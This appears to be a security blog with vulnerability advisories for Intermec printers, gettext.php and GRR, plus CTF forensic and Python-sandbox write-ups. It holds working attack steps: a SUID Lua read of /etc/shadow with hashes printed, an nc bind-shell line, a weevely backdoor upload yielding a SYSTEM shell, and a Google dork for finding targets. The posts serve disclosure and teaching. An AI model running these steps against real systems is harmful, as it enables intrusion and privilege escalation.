2017/03/28

[Advisory] CVE-2017-5671 Intermec (Honeywell) RFID Industrial printers local root w/ Busybox Jailbreak

# Date: January 31th, 2017
# Author:
    Bourbon Jean-marie (kmkz) from AKERVA company | @kmkz_security

# Product Homepage:
    http://www.intermec.com/products/prtrpm43a/

# Firmware download:
    http://www.intermec.com/products/prtrpm43a/downloads.aspx

# Tested on :
    model: PM43 RFID Industrial printer   
    firmware version: 10.10.011406
    kernel: Linux PM43-xxxxxxx 2.6.31 #1 PREEMPT Mon Oct 26 10:49:59 SGT 2015 armv5tejl GNU/Linux

# CVSS: 7.5 (CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H)
# OVE ID: OVE-20170131-0001
# CVE ID: CVE-2017-5671
# VulnDB ID: 154533

# Thanks:
    Dany Bach (Rioru) from AKERVA company for the exploitation design during the pentest during which the CVE-2017-5671 was discovered | @DDXhunter

    Honeywell team which was really reactive (with special thanks to Kevin Staggs) !

# Credits:
    The security notification that Intermec (Honeywell) sent to all of their dealers

# Additional link:
     https://akerva.com/blog/intermec-industrial-printers-local-root-with-busybox-jailbreak/

# Affected products:
    PM23, PM42, PM43, PC23, PC43, PD43 and PC42 printers with versions prior to March 2017
   
# Fixes:
    Download the new firmware version by using this link
   
# Release note: Here
   
Intermec (Honeywell) Industrial RFID Printers Local root privilege escalation with Busybox jailbreak

I. PRODUCT

PM43/PM43c mid-range industrial RFID printers are ideal for a wide range of applications within the distribution center / warehouse and manufacturing environments.

II. ADVISORY

Using a bad file permission, it is possible to gain full root privilege on a PM43 (but not only) RFID industrial printer as well as from the admin account as it-admin which are the two default users on the machine.
It also permits to gain full privilege resulting on a Busybox jailbreak due to the root access on the system.

The impact of this exploitation is quite critical due to the sensitive information that are available and impact the recent firmware version release (before  March 12th 2017).

III. VULNERABILITY DESCRIPTION

The Lua binary rights are too permissive and this one is SUID which conduct to perform this privilege escalation using a basic trick as describe in the next section.
The default it-admin and/or admin credentials are available in the vendor's documentation and should be modified too.

IV. PROOF OF CONCEPT

Following steps can reproduce the privilege escalation once the attacker gain a Busybox shell on the system:


itadmin@PM43-XXXXXXXXXXX /tmp$ find / -perm -g=s -type f 2>/dev/null
/bin/busybox
/usr/bin/cfg
/usr/bin/lua      -> Lua binary with SUID perm.
/usr/bin/httpd_restore
/usr/bin/ikev2
/usr/bin/pwauth
/usr/bin/functest
/usr/bin/imecutil
/usr/bin/httpd_fwupgrade
/usr/sbin/setkey


We then try to execute a shell command using Lua but it seems that this one is executed with non-root privileges through the Busybox shell:

itadmin@PM43-XXXXXXXXXXX /tmp$ /usr/bin/lua
Lua 5.1.4  Copyright (C) 1994-2008 Lua.org, PUC-Rio
> os.execute("id")
uid=1(itadmin) gid=1(itadmin) groups=1(itadmin),2(admin),3(user)


So we identify that it is possible to read/write files with root privilege on the file system without any restrictions (we will be able to modify the shadow file in order to log in as root later):

// in the Lua interpreter:

> f=io.open("/etc/shadow","rb")
> print(f)
file (0x17af0)
> c=f:read "*a"
> print(c)
root:!$1$XPCuiq25$IvWw/kKeomOyQIee8XfTb1:11851:0:99999:7:::
admin:$1$Ma/qTlIw$PPPTgRVCnkqcDQxjMBtsC0:11851:0:99999:7:::
itadmin:$1$kcHXJUjT$OIgLfTDgaEAlTbHRZFPsj.:11851:0:99999:7:::
user::11851:0:99999:7:::
ftp:*:11851:0:99999:7:::
nobody:*:11851:0:99999:7:::
lighttpd:x:1000:1000:Linux User,,,:/home/lighttpd:/bin/sh


We conclude this "proof of concept" by writing a file on the filesystem which demonstrate the possibilities that we now have using this kind of code:

fp = io.popen("akerva", "w")
fp:write(anything)
fp:close()


That gave us the following output:

itadmin@PM43-XXXXXXXXXXX /tmp$ cat akerva
AKERVA r00t
itadmin@PM43-XXXXXXXXXXX /tmp$ ls -alsh akerva
   4 -rw-rw-r--    1 root     root           12 Jan 25 07:12 akerva


As explained in the above text, we then over-writed the "etc/shadow" file and we validated that it is possible to gain full root access on the filesystem even if Busybox 1.15.0 (2009 release) were present, bypassing
its shell restrictions (jailbreaking it).

V. RECOMMENDATIONS

AKERVA's Pentesters recommended to fix it by modifying the Lua binary rights (is the SUID bit necessary?) which was done in the patched firmware.
A security fix is now available in order to mitigate this issue as shown at the beginning of this advisory.

VI. VERSIONS AFFECTED

This issue affects the firmware version 10.10.011406 but after reading the latest release notes it also seems to impact all versions that were released before the updated firmware.

VII. TIMELINE

January 19th, 2017: Vulnerability identification
January 27th, 2017: First contact with the editor (Honeywell)
January 31th, 2017: Advisory submission to Honeywell security team and CVE id request
February 1st, 2017: CVE id attributed by MITRE even if the vendor is not normally considered a priority for CVE by MITRE
February 6th, 2017: Vendor confirm the vulnerability
February 16th, 2017: Vendor inform that the fix is ready (They also proposed me to test it prior to release)
March 12th, 2017: New firmware version available
March 28th, 2017: Public advisory released

VIII. LEGAL NOTICES


The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.

2016/07/25

[Advisory] CVE-2016-6175


# Title
gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation

# Date: June 25th, 2016
# Author: kmkz (Bourbon Jean-marie) | @kmkz_security

# Project Homepage: https://launchpad.net/php-gettext/
# Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz
# Version: 1.0.12 (latest release)
# Tested on: Linux Debian, PHP 5.6.19-2+b1

# CVSS: 7.1
# CVE ID: CVE-2016-6175
# OVE ID: OVE-20160705-0004
# OSVDB ID: n/a

# Thanks:
Lars Michelsen from NagVis project where this bug was discovered and Danilo Segan from gettext.php team project for their reactivity and professionalism

# Credits:

# Fixes


gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue

I. APPLICATION

This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system.

This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue.

NagVis is a visualization addon for the well known network managment system Nagios.
NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure.

II. ADVISORY

A possible remote (or local) code execution were identified in the gettext.php file allowing an attacker to gain access on the targeted host system and/or gain application’s privileges throught a specially crafted .mo language file.

The $string variable is not sufficiently sanitized before to be submitted to eval() function (which is dangerous) in select_string() function causing the security issue.

III. VULNERABILITY DESCRIPTION

The gettext_reader() funtion try to test magic number that need to match with .mo files :

$MAGIC1 = "\x95\x04\x12\xde";
$MAGIC2 = "\xde\x12\x04\x95";
If it seems correct then we’ll continue.

We then extract forms from .mo file’s header through get_plural_forms() function and check them with a deprecated (since php 5.3.0 because it can be easily bypassed by adding a Null Byte) eregi() regexp function in order to valid they match the following pattern:
plural-forms: ([^\n]*)\n
(This regular expression matching have no effect on our payload)

Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one.



Here is the impacted code snippet :

snip...
if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))
$expr = $regs[1];
else
$expr = "nplurals=2; plural=n == 1 ? 0 : 1;";

$this->pluralheader = $this→sanitize_plural_expression($expr); // The vulnerable function!!
}
snip…

The comments presents at the beginning of sanitize_plural_expression() function explain that this one is here to prevent the eval() function attacks called later.

Comments are :
/** Sanitize plural form expression for use in PHP eval call.
@access private
@return string sanitized plural form expression**/ 

In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars.

snip...
function sanitize_plural_expression($expr) {
// Get rid of disallowed characters.
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer »
// Add parenthesis for tertiary '?' operator.
$expr .= ';';
$res = '';
$p = 0;
for ($i = 0; $i < strlen($expr); $i++) { // no indentation ?
$ch = $expr[$i];
switch ($ch) {
case '?':
$res .= ' ? (';
$p++;
break;
case ':':
$res .= ') : (';
break;
case ';':
$res .= str_repeat( ')', $p) . ';';
$p = 0;
break;
default:
$res .= $ch;
}
}
return $res;
}
snip...

Code snippet from the vulnerable function that execute eval() on the "sanitized" string :

snip…
$string = $this->get_plural_forms();
$string = str_replace('nplurals',"\$total",$string);
$string = str_replace("n",$n,$string);
$string = str_replace('plural',"\$plural",$string);

$total = 0;
$plural = 0;

eval("$string"); // eval called …. launch my shell baby !
snip…

However, for example (but not only!) we can call system() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it.

A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder.

He now just have to wait or to execute the payload himself to obtain his shell, that’s why this vulnerability is not so harmless !

Note :

Apart from that we could imagine that the attacker transform the $expr variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this :
$expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory

Like a Perl developer could say: « there is more than one way to do it »
IV. PROOF OF CONCEPT

Following PHP code reproduce the exploitation concept base on the 1.0.9 version
(without a crafted .mo file and joined with this advisory).



V. RECOMMENDATIONS

As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators.
Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties.

The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix.


VI. VERSIONS AFFECTED

This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version.
It could affect the a lot of web application and/or many website as long as it will not be updated.

VII. TIMELINE

June 21th, 2016: Vulnerability identification
June 21th, 2016: Nagvis project developers and gettext.php developers notification
June 22th, 2016: Nagvis project developers response
June 25th, 2016: Nagvis Patch release (even if not really affected)
June 27th, 2016: Gettext.php team response (from Danilo Šegan), exchange started
July 5th, 2016: CVE request ID (mitre) and OVE ID request
July 7th, 2016: CVE-2016-6175 attributed by MITRE
July 25th, 2016: Public disclosure

VIII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.


[CVE-2016-6175] gettext.php code execution - PoC example:




2016/03/05

[Write-Up] ESGI CTF 2k16 ForensicGio (Forensic 400)

Salut à tous,
ce jeudi avait lieu le CTF du Security Day 2016 de l'ESGI Paris et auquel notre team sec0d participait enfin du moins ceux qui étaient là :P.

Durant ce CTF nombre de challz ont été poncés mais un en particulier sur lequel j'ai passé un moment me donne envie d'écrire ce write-up car j'avoue l'avoir pas mal apprécié (merci@Sug4r7 de l'avoir concocté).
Allez, allons-y et arrêtons de "blablater" !

Le début du chall débute par la récupération de 2 archives tar.gz.
L'une contenant le chall et l'autre son checksum md5 pour valider de son intégrité, l'objectif pour valider ce chall étant de récupérer un flag ainsi qu'une adresse mail, allez, on se lance!!

Ces fichiers downloadés on check le md5 puis on extract le contenu de l'archive et faisons un "file" dessus afin de déterminer ce à quoi nous avons affaire:

# cat CTF_security_day_2016.tar.gz.md5
2b5dfdabf403b309c35d72b455a96201:CTF_security_day_2016.tar.gz

# md5sum CTF_security_day_2016.tar.gz
2b5dfdabf403b309c35d72b455a96201
L'archive extraitre révèle un format appelé EWF (Expert Witness Compression Format) généré par certains tools de dump de media et/ou partitions tel que ewfacquire sous linux.

Ayant pu identifier la facilité de certains challs présent je tente un "string"
dessus et jouant avec "grep" afin de voir si j'en ressort quelques chose mais .. ce chall n'est pas aussi facile, poursuivons.

Kali Linux possède nativement nombre de tools pour jouer avec les dumps ewf alors je teste  ewfinfo dans une première approche de collecte d'info et, une fois le fichier renommé avec l'extension (.s01) qui va bien, j'obtiens déjà quelques résultat:
ewfinfo CTF_security_day_2016.s01 
ewfinfo 20140608

Acquiry information
        Case number:                1
        Description:                Security Day ESGI 2016 - Level: easy
        Examiner name:              IT Forensic investigator
        Evidence number:            1
        Notes:                      578589-646712-118349-156013-637549-351670-297187-312191
        Acquisition date:           Thu Mar  3 03:17:59 2016
        System date:                Thu Mar  3 03:17:59 2016
        Operating system used:      Linux
        Software version used:      20130416
        Password:                   N/A
        Model:                      DataBar USB2.0

EWF information
        File format:              EnCase 6
        Sectors per chunk:        64
        Error granularity:        64
        Compression method:       deflate
        Compression level:        best compression
        Set identifier:           6e1ec0c6-715f-f848-9119-e59a9b00dcc0

Media information
        Media type:                removable disk
        Is physical:               yes
        Bytes per sector:          512
        Number of sectors:         2015232
        Media size:                984 MiB (1031798784 bytes)

Digest hash information
        MD5:                        fff71a85859a1af7ede437178d701809
        SHA1:                       cf0b504bd9ea6e1b7183c9652ed3a402f12b4551

Ok, première info intéréssante, pour la suite nous allons donc extraire le contenu du dump vers un format plus standard à l'aide de l'outils ewfexport

L'outil une fois lancé demande vers quel format l'extraire etc.. il suffit de laisser cela par défaut puis de donner un nom de fichier une fois qu'il le demander.
Il s'appelera donc "CTF2.raw" pour la suite.

De là je me dis que peut-être serait-il possible de récupérer quelque chose via un peu de file carving, je lance donc un "foremost", hélas son output nous ramène à la raison: non ce ne sera pas aussi simple malgrès le "easy" ci-dessus!!

Foremost started at Fri Mar  4 01:19:56 2016
Invocation: foremost CTF2.raw 
Output directory: /root/Bureau/CTF/ESGI/foren/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: CTF2.raw
Start: Fri Mar  4 01:19:56 2016
Length: 984 MB (1031798784 bytes)
 
Num         Name (bs=512)               Size         File Offset         Comment 

Finish: Fri Mar  4 01:20:12 2016

0 FILES EXTRACTED
        
------------------------------------------------------------------

Foremost finished at Fri Mar  4 01:20:12 2016
Okay okay ... voyons donc voir la table de partition présente sur ce dump grâce à l'outils mmls.

mmls CTF2.raw 

DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

   Slot      Start        End          Length       Description

000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0002015231   0002013184   NTFS / exFAT (0x07)
Une  partition windows semble bien présente, un simple "file" dessus indique même "DOS/MBR Boot Sector" ce qui indique donc que ce serait probablement bootable.
Après quelque manipulations foireuses et bricolages en tout genre, je découvre un tools appelé mbr_parser.py permettant de parser ce type de fichier et d'en remonter certaines infos ce qui permet donc d'affirmer que non, pas bootable :-/

===== Partition Table #1 =====
Boot flag: 0x0 
Partition type: 0x7 (NTFS)
Starting Sector (LBA): 0x800 (2048)
Starting CHS: Cylinder: 0 Head: 32 Sector: 33
Ending CHS: Cylinder: 125 Head: 112 Sector: 51
Size in sectors: 0x1eb800 (2013184)



===== Partition Table #2 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



===== Partition Table #3 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



===== Partition Table #4 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



Valid Signature (0xaa55): True => (0xaa55)

Nous savons alors que ce ne sera pas bootable en l'état, ok, j'ai donc pratiqué à l'extraction de chacune des partition à l'aide de dd en espérant que la bonne partition pourra être montée et que ce sera alors la fin de ce chall.
Nous avions donc obtenu la liste des partitions et pouvions à préent les extraire de ce dump:
    
dd if=CTF2.raw of=CTF2_0.bin bs=512 skip=0 count=1
dd if=CTF2.raw of=CTF2_1.bin bs=512 skip=2048 count=2015231

file *.bin
CTF2_0.bin: DOS/MBR boot sector; partition 1 : ID=0x7, start-CHS (snip)
CTF2_1.bin: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "-FVE-FS-" (snip)
en revanche lors de divers essais, il s'est avéré impossible de monter le volume souhaité sur ma linux, cette partition n'étant visiblement pas "standard".
A partir de la, changement de stratégie.

Le mount ne passant toujours pas en vfat via dd ainsi qu'avec l'outils ewfmount sur le premier dump ewf de l'archive, nous comprenons qu'il faut essayer autre chose.
dd if=CTF2.raw of=new.img count=1 bs=1000MiB
file new.img
new.img: DOS/MBR boot sector; partition 1 (snip)
L'idée sera donc la suivante:
  1. prendre le fichier new.img et le convertir en  vmdk via qemu
  2. rattacher ce vmdk à une machine virtuelle Windows et essayer de monter le volume
C'est la que mon coéquipier Orikata et sa machine sont intervenus!
La converion via Qemu faite:
 /qemu-img convert -f raw -O vmdk /Volumes/xxx/new.img /Volumes/xxx/new.vmdk
il suffit de rattacher le vmdk en tant que volume à une VM Windows puis... SURPRISE!!

  
Un volume Bitlocker!
Voici donc la raison du temps perdu à tenter de le monter en vain sur ma Kali :/.
Ok, à partir de la comment faire pour monter ce volume sans la clef?
Et bien compliqué mais Orikata se rappellant qu'il est possible de monter le container via la clef de récupération via l'onglet "j'ai oublié mon mot de passe"


et que cette dernière est de la forme 8 x 6 chars séparés par des "-".
Nous nous replongeons dans la collecte d'info faites en amont et remarquons quelques chose d'étrange.
Il s'agit d'une note contenue dans les métadata du dump initial ewf et qui n'est sûrement pas le fruit du hasard rappellez-vous de cela:


ewfinfo CTF_security_day_2016.s01 
ewfinfo 20140608

Acquiry information
        Case number:                1
        Description:                Security Day ESGI 2016 - Level: easy
        Examiner name:              IT Forensic investigator
        Evidence number:            1
        Notes:                      578589-646712-118349-156013-637549-351670-297187-312191
        Acquisition date:           Thu Mar  3 03:17:59 2016
        System date:                Thu Mar  3 03:17:59 2016
        Operating system used:      Linux
        Software version used:      20130416
        Password:                   N/A
        Model:                      DataBar USB2.0

Nous tentons alors de pratiquer de cette manière afin de bypasser la clef du Bitlocker et...


Le container nous offre deux fichiers: le 1er contenant juste un peu de texte rappellant les obectifs du challenges, le second quant à lui étant un .psd que l'on s'empresse d'ouvrir sous Gimp ce qui nous permet d'identifier des claques présent cachant un flag dans la bouche d'un espèce de dinosaure.

Image de base avec la bonne promo pour la boite de notre ami @Sug4r7 qui a créer ce chall:


 Les filtres:

Le filtre "code_ctf" attire immédiatement notre attention mais hélas se trouve illisible:

Afin de gagner du temps, je décide donc de lire les métadata du fichier image de base via exiftool et obtient entre autre alors le fameux flag tant désiré.

ExifTool Version Number         : 10.11
File Name                       : CTF_1.info
Directory                       : .
File Size                       : 22 MB
File Modification Date/Time     : 2016:03:03 01:42:37+01:00
File Access Date/Time           : 2016:03:05 15:45:08+01:00
File Inode Change Date/Time     : 2016:03:04 04:33:39+01:00
File Permissions                : rwxrwxrwx
File Type                       : PSD
File Type Extension             : psd
MIME Type                       : application/vnd.adobe.photoshop
Num Channels                    : 3
Image Height                    : 1600
Image Width                     : 2560
Bit Depth                       : 8
Current IPTC Digest             : cdcffa7da8c7be09057076aeaf05c34e
Coded Character Set             : UTF8
Application Record Version      : 0
IPTC Digest                     : cdcffa7da8c7be09057076aeaf05c34e
XMP Toolkit                     : Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00
Document ID                     : adobe:docid:photoshop:8e502fea-e0d3-11e5-88dd-8346bba80fd1
Instance ID                     : xmp.iid:a366f090-0622-9343-b206-ee4e314c205f
Original Document ID            : 54597A271ED407F91E4348F2B8D7EDD3
History Action                  : saved, converted, derived, saved, saved
History Instance ID             : xmp.iid:4e124a83-f328-dd45-bc25-d93c357610c7, xmp.iid:229920ec-c5e4-f34c-84f6-4a06983a49ff, xmp.iid:a366f090-0622-9343-b206-ee4e314c205f
History When                    : 2016:03:03 01:05:46+01:00, 2016:03:03 01:05:46+01:00, 2016:03:03 01:42:37+01:00
History Software Agent          : Adobe Photoshop CC 2014 (Windows), Adobe Photoshop CC 2014 (Windows), Adobe Photoshop CC 2014 (Windows)
History Changed                 : /, /, /
History Parameters              : from image/jpeg to application/vnd.adobe.photoshop, converted from image/jpeg to application/vnd.adobe.photoshop
Derived From Instance ID        : xmp.iid:4e124a83-f328-dd45-bc25-d93c357610c7
Derived From Document ID        : 54597A271ED407F91E4348F2B8D7EDD3
Derived From Original Document ID: 54597A271ED407F91E4348F2B8D7EDD3
Format                          : application/vnd.adobe.photoshop
Color Mode                      : RGB
Text Layer Name                 : code_ctf
Text Layer Text                 : CODE CTF: 20160303_A27R425
Document Ancestors              : 54597A271ED407F91E4348F2B8D7EDD3
Create Date                     : 2016:03:03 00:59:27+01:00
Metadata Date                   : 2016:03:03 01:42:37+01:00
X Resolution                    : 72
Displayed Units X               : inches
Y Resolution                    : 72
Displayed Units Y               : inches
Global Angle                    : 30
Global Altitude                 : 30
Photoshop Thumbnail             : (Binary data 4789 bytes, use -b option to extract)
Has Real Merged Data            : No
Writer Name                     : Adobe Photoshop
Reader Name                     : Adobe Photoshop CC 2014
Exif Byte Order                 : Big-endian (Motorola, MM)
Bits Per Sample                 : 8 8 8
Photometric Interpretation      : RGB
Orientation                     : Horizontal (normal)
Samples Per Pixel               : 3
Resolution Unit                 : inches
Software                        : Adobe Photoshop CC 2014 (Windows)
Modify Date                     : 2016:03:03 01:42:37
Exif Version                    : 0221
Color Space                     : Uncalibrated
Exif Image Width                : 2560
Exif Image Height               : 1600
Compression                     : JPEG (old-style)
Thumbnail Offset                : 386
Thumbnail Length                : 0
Image Size                      : 2560x1600
Megapixels                      : 4.1

CODE CTF: 20160303_A27R425

Malheureusement il ne nous permis pas de valider cette épreuve car sans l'adresse mail du destinataire impossible de le valider.... frustration extême car cela nous pris tout de même pas mal de temps pour au final 0 points!

Cela étant, ça méritait bien un petit write-up ne serait-ce que parcequ'il ne fû validé qu'une seule fois par la team gagnante et que d'autre aimerait sûrement savoir comment il fallait procéder ;-).

Le mail pour sa part ne semblait réèllement pas présent ici, en tout cas pas à notre connaissance et la fin de ce CTF arriva avec pour la sec0d la 5ème place et des cadeaux tout de même obtenus!! :-)

A bientôt pour un prochain writeup ou paper.
kmkz


Quelques liens utiles pour ce challenge Forensic






(en souvenir pour les kewpins: sec0d à la remise des prix)








2016/01/17

[Advisory] CVE-2016-1000300 Vulnérabilité dans GRR <= 3.0.0-RC1

Salut à tous!

Nouvelle année, nouveaux ponçages et comme j'ai l'impression que nombres de vulns encore présentes ne devraient plus l'être depuis longtemps, je me permet un petit retour sur un de mes récents advisory.

En effet, il est question ici d'un cas d'école que j'ai eu le plaisir de découvrir récemment sur un outils de réservation de salles... en fait on pourrait se dire "ouai super.. so what!??"

Mais lorsque cet outil vous permet de pwn une infra lors d'un pentest et de plus est présent sur TOUTES les versions de cette application utilisée par nombre d'institutions notamment FR,  je pense qu'il peut être pertinent d'en parler.

Toutefois  et avant de rentrer dans la vuln + l'advisory lui-même je tiens à remercier les personnes maintenant ce projet open source avec qui j'ai pu échanger afin de permettre de travailler sur un correctif de sécurité qui sera donc backporté et inclu dans la future version de l'application.

Vous trouverez les ressources nécéssaires en fin d'article comme d'habitude sur le blog.

Assez parler place aux détails! :D

Ici tout d'abord le code vulnérable se trouvant dans le fichier "admin/admin_config1.php" du projet GRR ainsi que son lien direct vers pastebin.com:



Bon comme vous pourrez le constater les parties intéréssantes sont déjà commentées expliquant ainsi les grandes lignes de ce qui nous intéresse.
On identifie ici 3 problèmes sur ce code:

1- On peu bypass le filtre d'upload car ce dernier n'effectue qu'un seul test: l'extension!
Ainsi une double extension (backdoor.php.png) permet de contourner cela aisément

2- Ce super script php sorti tout droit des années 90' nous permet de déterminer le noms qu'aura notre backdoor ainsi que son chemin.
En effet, le script va simplement supprimer la seconde extension et comme il effectue un explode() sur notre fichier afin de récupérer ce qui se situe derrière notre ".", il va le renommer en "logo.php" car le 2ème élément du tableau "$tab" sera bel et bien notre extension... php ou autre par ailleurs ;-).

3- Ici c'est la petite touche finale: le fichier sensé être un logo se retrouve "chmod 666"  (RW pour tout le monde) ce qui permet en prime d'obtenir les droits nécéssaires.

En effet, pour peu que les droits soient bien gérés il serait difficile de faire exécuter ce que l'on souhaite, hors la tout est possible, on peux même grâce à cela obtenir des privilèges largements supérieurs à ceux attendus chose que j'ai pu tester et surtout réussir en gagnant ainsi les droits NT Authority\System sur un environnement Microsoft de manière triviale!


Vous l'aurez compris, c'est assez easy à exploiter sous condition toutefois d'avoir des privilèges au départ afin de pouvoir modifier le logo en question (ce qui m'a été possible via une SQLI sur une application tierce mais qui par ailleurs ne me permettait pas d'obtenir de shell... ce qui fût donc réglé grâce au GRR présent).

Je vous laisse ici le soin de lire l'advisory en question ainsi que les différents liens concernant ce dernier.

Ce fût court et assez faiblement technique mais il est vrai que ce genre de vuln existe encore alors autant les étudiers car comem dis en début d'article: ce sont des cas d'écoles que l'on ne devrait même plus trouver hélas!!

================================================================================================= 
Public Advisory

================================================================================================= 


Title: GRR <= 3.0.0-RC1 (all versions) file upload filter bypass (authenficated)  + privilege escalation(in some case)

Date: January 7th, 2016

Vendor Homepage: http://grr.devome.com/fr/

Software Link: GRR project

Dork: inurl:/grr/ intext:réservation intitle:"GRR"

CVSS score: 9.9
OVE ID: OVE-20160705-0044
CVE ID: CVE-2016-1000300


I. APPLICATION
======================================================================================
 

GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.


II. ADVISORY
======================================================================================
 

 
The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.
 
Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element. 
 
This file called for example "logo.jpg" is also "chmoded" as 0666 permission 
and directly accessible in image folder (img_grr by default) by all users.
 
Besides, the application does only a basic conditional php test
on the extension of the uploaded file.
 
It's possible for an attacker to add a second extension that will be 
used when the image will be renamed in order to bypass this basic filter 
(double extension upload filter bypassing).
 
So, a file called backdoor.php.jpg will be renamed as logo.php with 
chmod 0666 permissions and could be used by attacker to gain more privileges 
on the targeted server (privesc due to bad file permissions and RCE).
 
To trigger this vulnerability it is necessary to have an administrator 
account on the GRR application.
 
This vulnerability is a combination of 3 issues:
  1. - predictable uploaded file names and path
  2. - upload of any kind of file
  3. - bad files permission when we upload this file that permit us to gain privilegied access.
 
Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).
 
 
III. PROOF OF CONCEPT
======================================================================================
 

Generate backdoor:
 
    kmkz@Tapz:~#  weevely generate pass123 /tmp/3lrvs.php
    Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size.
    kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg

 
 
Login as admin and upload this new 'logo' > Administration > logo
 
Enjoy your shell!
 
      kmkz@Tapz:~# weevely http://laboratoire.target.fr/images/logo.php pass123
    [+] weevely 3.2.0
 
    [+] Target:    laboratoire.target.fr:F:\server\grr\images
    [+] Session:    /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
    [+] Shell:    System shell

 
    [+] Browse the filesystem or execute commands starts the connection
    [+] to the target. Type :help for more information.
 
    weevely> whoami
    autorite nt\system

 
 
 
IV. RISK
======================================================================================
 

By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.
 
This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may conduce
to  full information system's compromission using pivots techniques and imagination!
 
 
V. VERSIONS AFFECTED
======================================================================================
 

GRR 3.0.0-RC1 is vulnerable (and all previous versions)
 
 
VI. TIMELINE
======================================================================================
 

December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure

======================================================================================


Projet GRR

Git Hub du projet contenant le fix 

Publication de Nicolas Bouteiller (contributeur/dev de la prochaine version GRR)

So now, update your GRR install ;-)

A bientôt pour de nouvelles aventures !!!









2014/11/15

Python sandbox escape: sortez du bac à sable !

Salut tout le monde!

De passage sur mon blog pour un nouveau papier concernant quelque chose sur  lequel je serais emmené à travailler bien plus en profondeur: l'évasion de sandbox !

Pour ceux qui ne comprendraient pas le fait de jouer dans des bacs à sable python, je vous remmène à l'actualité de la semaine passé avec une MAGNIFIQUE publication de l'équpe de chez G-DATA (salut à RootBSD au passage!)  sur Cuckoo qui travaille lui-même sur une base sandbox en Python (vulnérabilité corrigée dans la foulée sur la version 1.1.1) et la possibilité pour un code malveillant d'en sortir via une variable "buf" mal 'sanitized' comme ceci:


Link vers la publication ici et vers le POC de G-DATA ici .

Bon .. le contexte étant dessiné, passons maintenant à l'article lui-même!
Première chose: avoir une sandbox a pwnd sans quoi on n'irait pas bien loin... j'ai donc cherché sur le net et en ai trouvé 2 sympa.

Ceci dis je n'en aurai retenu qu'une, l'autre m'ayant déjà amusé par le passé et donc voulant aussi m'amuser un peu je me suis dis que celle ci serait plus "fun" à exploiter!

Il s'agit d'un ancien challenge du CTF de la Hack.lu de 2012  (liens en fin d'article) mais qui, pour un débutant comme moi dans le domaine, n'a pas pris une ride alors ... allons-y !

Voici la source de cette sandbox:

  1. #!/usr/bin/python
  2. def make_secure():
  3.     UNSAFE = ['open',
  4.               'file',
  5.               'execfile',
  6.               'compile',
  7.               'reload',
  8.               '__import__',
  9.               'eval',
  10.               'locals',
  11.   'input']
  12.                      
  13.     for func in UNSAFE:
  14.         del __builtins__.__dict__[func]
  15. from re import findall
  16. # Suppression de la liste des builtins dangeureux:
  17. make_secure()
  18. print 'Go Ahead, Expoit me >;D'

  19. while True:
  20.     try:
  21.         # Lis l entree utilisateur jusqu au premier caractere vide (espace):
  22.         inp = findall('\S+', raw_input())[0]
  23.         a = None
  24.         # Attribue a la variable l output de l execution:
  25.         exec 'a=' + inp
  26.         print 'Return Value:', a
  27.     except Exception, e:
  28.         print 'Exception:', e


